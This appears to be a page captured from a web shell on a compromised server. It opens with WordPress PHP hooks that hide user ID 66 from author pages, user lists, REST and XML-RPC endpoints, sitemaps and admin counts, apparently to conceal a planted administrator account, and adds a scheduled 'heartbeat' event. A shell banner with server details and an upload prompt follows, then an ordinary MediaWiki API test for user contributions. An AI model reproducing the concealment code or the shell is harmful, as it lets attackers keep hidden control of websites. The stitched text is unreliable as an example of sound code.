add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/wiki/tests/phpunit/includes/api/query/ |
Upload File : |
<?php
namespace MediaWiki\Tests\Api\Query;
use MediaWiki\Content\WikitextContent;
use MediaWiki\Tests\Api\ApiTestCase;
use MediaWiki\Tests\User\TempUser\TempUserTestTrait;
use MediaWiki\Title\TitleValue;
use MediaWiki\User\User;
use MediaWiki\User\UserRigorOptions;
/**
* @group API
* @group Database
* @group medium
* @covers \MediaWiki\Api\ApiQueryUserContribs
*/
class ApiQueryUserContribsTest extends ApiTestCase {
use TempUserTestTrait;
public function addDBDataOnce() {
$this->disableAutoCreateTempUser();
$userFactory = $this->getServiceContainer()->getUserFactory();
$users = [
$userFactory->newFromName( '192.168.2.2', UserRigorOptions::RIGOR_NONE ),
$userFactory->newFromName( '192.168.2.1', UserRigorOptions::RIGOR_NONE ),
$userFactory->newFromName( '192.168.2.3', UserRigorOptions::RIGOR_NONE ),
User::createNew( __CLASS__ . ' B' ),
User::createNew( __CLASS__ . ' A' ),
User::createNew( __CLASS__ . ' C' ),
$userFactory->newFromName( 'IW>' . __CLASS__, UserRigorOptions::RIGOR_NONE ),
];
$page = $this->getServiceContainer()->getWikiPageFactory()
->newFromLinkTarget( new TitleValue( NS_MAIN, 'ApiQueryUserContribsTest' ) );
for ( $i = 0; $i < 3; $i++ ) {
foreach ( array_reverse( $users ) as $user ) {
$status = $this->editPage(
$page,
new WikitextContent( "Test revision $user #$i" ),
'Test edit',
NS_MAIN,
$user
);
if ( !$status->isOK() ) {
$this->fail( 'Failed to edit: ' . $status->getWikiText( false, false, 'en' ) );
}
}
}
}
/**
* @dataProvider provideSorting
* @param array $params Extra parameters for the query
* @param bool $reverse Reverse order?
* @param int $revs Number of revisions to expect
*/
public function testSorting( $params, $reverse, $revs ) {
if ( isset( $params['ucuserids'] ) ) {
$userIdentities = $this->getServiceContainer()->getUserIdentityLookup()
->newSelectQueryBuilder()
->whereUserNames( $params['ucuserids'] )
->fetchUserIdentities();
$userIds = [];
foreach ( $userIdentities as $userIdentity ) {
$userIds[] = $userIdentity->getId();
}
$params['ucuserids'] = implode( '|', $userIds );
}
if ( isset( $params['ucuser'] ) ) {
$params['ucuser'] = implode( '|', $params['ucuser'] );
}
if ( $reverse ) {
$params['ucdir'] = 'newer';
}
$params += [
'action' => 'query',
'list' => 'usercontribs',
'ucprop' => 'ids',
];
$apiResult = $this->doApiRequest( $params + [ 'uclimit' => 500 ] );
$this->assertArrayNotHasKey( 'continue', $apiResult[0] );
$this->assertArrayHasKey( 'query', $apiResult[0] );
$this->assertArrayHasKey( 'usercontribs', $apiResult[0]['query'] );
$count = 0;
$ids = [];
foreach ( $apiResult[0]['query']['usercontribs'] as $page ) {
$count++;
$ids[$page['user']][] = $page['revid'];
}
$this->assertSame( $revs, $count, 'Expected number of revisions' );
foreach ( $ids as $user => $revids ) {
$sorted = $revids;
$reverse ? sort( $sorted ) : rsort( $sorted );
$this->assertSame( $sorted, $revids, "IDs for $user are sorted" );
}
for ( $limit = 1; $limit < $revs; $limit++ ) {
$continue = [];
$count = 0;
$batchedIds = [];
while ( $continue !== null ) {
$apiResult = $this->doApiRequest( $params + [ 'uclimit' => $limit ] + $continue );
$this->assertArrayHasKey( 'query', $apiResult[0], "Batching with limit $limit" );
$this->assertArrayHasKey( 'usercontribs', $apiResult[0]['query'],
"Batching with limit $limit" );
$continue = $apiResult[0]['continue'] ?? null;
foreach ( $apiResult[0]['query']['usercontribs'] as $page ) {
$count++;
$batchedIds[$page['user']][] = $page['revid'];
}
$this->assertLessThanOrEqual( $revs, $count, "Batching with limit $limit" );
}
$this->assertSame( $ids, $batchedIds, "Result set is the same when batching with limit $limit" );
}
}
public static function provideSorting() {
$users = [ __CLASS__ . ' A', __CLASS__ . ' B', __CLASS__ . ' C' ];
$users2 = [ __CLASS__ . ' A', __CLASS__ . ' B', __CLASS__ . ' D' ];
$ips = [ '192.168.2.1', '192.168.2.2', '192.168.2.3', '192.168.2.4' ];
foreach ( [ false, true ] as $reverse ) {
$name = ( $reverse ? ', reverse' : '' );
yield "Named users, $name" => [ [ 'ucuser' => $users ], $reverse, 9 ];
yield "Named users including a no-edit user, $name" => [
[ 'ucuser' => $users2 ], $reverse, 6
];
yield "IP users, $name" => [ [ 'ucuser' => $ips ], $reverse, 9 ];
yield "All users, $name" => [
[ 'ucuser' => array_merge( $users, $ips ) ], $reverse, 18
];
yield "User IDs, $name" => [ [ 'ucuserids' => $users ], $reverse, 9 ];
yield "Users by prefix, $name" => [ [ 'ucuserprefix' => __CLASS__ ], $reverse, 9 ];
yield "IPs by prefix, $name" => [ [ 'ucuserprefix' => '192.168.2.' ], $reverse, 9 ];
yield "IPs by range, $name" => [ [ 'uciprange' => '192.168.2.0/24' ], $reverse, 9 ];
}
}
public function testInterwikiUser() {
$params = [
'action' => 'query',
'list' => 'usercontribs',
'ucuser' => 'IW>' . __CLASS__,
'ucprop' => 'ids',
'uclimit' => 'max',
];
$apiResult = $this->doApiRequest( $params );
$this->assertArrayNotHasKey( 'continue', $apiResult[0] );
$this->assertArrayHasKey( 'query', $apiResult[0] );
$this->assertArrayHasKey( 'usercontribs', $apiResult[0]['query'] );
$count = 0;
$ids = [];
foreach ( $apiResult[0]['query']['usercontribs'] as $page ) {
$count++;
$this->assertSame( 'IW>' . __CLASS__, $page['user'], 'Correct user returned' );
$ids[] = $page['revid'];
}
$this->assertSame( 3, $count, 'Expected number of revisions' );
$sorted = $ids;
rsort( $sorted );
$this->assertSame( $sorted, $ids, "IDs are sorted" );
}
}